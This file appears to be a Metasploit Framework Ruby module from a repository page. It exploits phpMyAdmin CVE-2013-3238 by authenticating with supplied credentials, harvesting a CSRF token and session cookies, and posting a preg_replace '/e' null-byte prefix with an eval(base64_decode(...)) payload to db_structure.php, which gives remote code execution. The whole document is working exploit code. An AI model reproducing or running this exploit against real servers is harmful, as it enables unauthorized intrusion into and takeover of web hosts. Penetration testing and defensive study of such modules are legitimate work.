Files
metasploit-gs/modules/exploits/multi/http/phpmyadmin_preg_replace.rb
T
2013-04-26 17:34:17 +01:00

192 lines
4.7 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'PhpMyAdmin Authenticated Remote Code Execution via preg_replace()',
'Description' => %q{
This module exploits a PREG_REPLACE EVAL vulnerability in PhpMyAdmin's
replace_prefix_tbl in libraries/mult_submits.inc.php via db_settings.php
},
'Author' =>
[
'Janek "waraxe" Vind', # Discovery
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-3238' ],
[ 'PMASA', '2013-2'],
[ 'waraxe', '2013-SA#103' ],
[ 'URL', 'http://www.waraxe.us/advisory-103.html' ],
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'DisableNops' => true,
'Compat' => { 'ConnectionType' => 'find' }
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 25 2013'))
register_options(
[
OptString.new('URI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
], self.class)
end
def uri(path="")
normalize_uri(datastore['PATH'], datastore['URI'], path)
end
def check
begin
res = send_request_cgi({ 'uri' => uri('/js/messages.php') })
rescue
print_error("Unable to connect to server.")
return CheckCode::Unknown
end
if res.code != 200
print_error("Unable to query /js/messages.php")
return CheckCode::Unknown
end
if res.body =~ /pmaversion = '(.*)';/
print_status("Server version: #{$1}")
case $1.downcase
when '3.5.8.1', '4.0.0-rc3'
return CheckCode::Safe
when '4.0.0-alpha1', '4.0.0-alpha2', '4.0.0-beta1', '4.0.0-beta2', '4.0.0-beta3', '4.0.0-rc1', '4.0.0-rc2'
return CheckCode::Vulnerable
else
if $1.starts_with? '3.5.'
return CheckCode::Vulnerable
end
return CheckCode::Unknown
end
end
end
def exploit
cookie_names = [
'phpMyAdmin',
'pma_mcrypt_iv',
'pmaUser-1',
'pmaPass-1',
'pma_lang',
'pma_collation_connection'
]
print_status("Grabbing CSRF token")
response = send_request_cgi({ 'uri' => uri})
if response.nil?
fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
end
if (response.body !~ /"token"\s*value="([^"]*)"/)
fail_with(Exploit::Failure::NotFound, "Couldn't find token. Is URI set correctly?")
else
print_good("Retrieved token")
end
token = $1
post = {
'token' => token,
'pma_username' => datastore['USERNAME'],
'pma_password' => datastore['PASSWORD']
}
print_status("Authenticating...")
login = send_request_cgi({
'method' => 'POST',
'uri' => uri('index.php'),
'vars_post' => post
})
if login.nil?
fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
end
token = login.headers['Location'].scan(/token=(.*)[&|$]/).flatten.first
cookie = ""
cookie_names.each do |name|
c = login.get_cookie(name)
cookie << c << " " unless c.nil?
end
login_check = send_request_cgi({
'uri' => uri('index.php'),
'vars_get' => { 'token' => token },
'cookie' => cookie
})
if login_check.body =~ /Welcome to/
fail_with(Exploit::Failure::NoAccess, "Authentication failed.")
else
print_good("Authentication successful")
end
db = rand_text_alpha(3+rand(3))
pay = Rex::Text.encode_base64(payload.encoded)
evil = []
evil << "query_type=replace_prefix_tbl"
evil << "db=#{db}"
evil << "selected%5B0%5D=#{db}"
evil << "token=#{token}"
evil << "from_prefix=%2Fe%00"
evil << "to_prefix=#{Rex::Text.uri_encode('eval(base64_decode(', 'hex-random')}'#{pay}'))"
evil << "mult_btn=Yes"
data = ""
evil.shuffle!
0.upto(evil.count-1) do |i|
if i == 0
data << evil[i]
else
data << '&' << evil[i]
end
end
exploit_result = send_request_raw({
'uri' => uri('db_structure.php'),
'method' => 'POST',
'data' => data,
'cookie' => cookie,
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' }
},2)
if exploit_result
print_error("Response retrieved from server, exploit failed.")
end
end
end